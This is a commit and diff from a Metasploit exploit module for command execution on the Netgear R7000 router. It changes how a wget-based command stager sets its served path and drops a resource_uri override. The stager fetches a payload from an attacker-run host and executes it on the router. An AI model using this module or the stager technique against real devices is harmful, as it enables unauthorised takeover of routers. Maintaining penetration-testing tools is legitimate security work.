Specify default resource in start_service

This eliminates the need to override resource_uri. Depends on #8078.

modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb

@@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     return if check == CheckCode::Safe
 
-    @cmdstager = generate_cmdstager(flavor: :wget).join(';')
+    @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
 
     send_request_cgi(
       'method' => 'GET',
@@ -101,9 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  # XXX: This is the only way to force this resource
-  def resource_uri
-    '/'
-  end
-
 end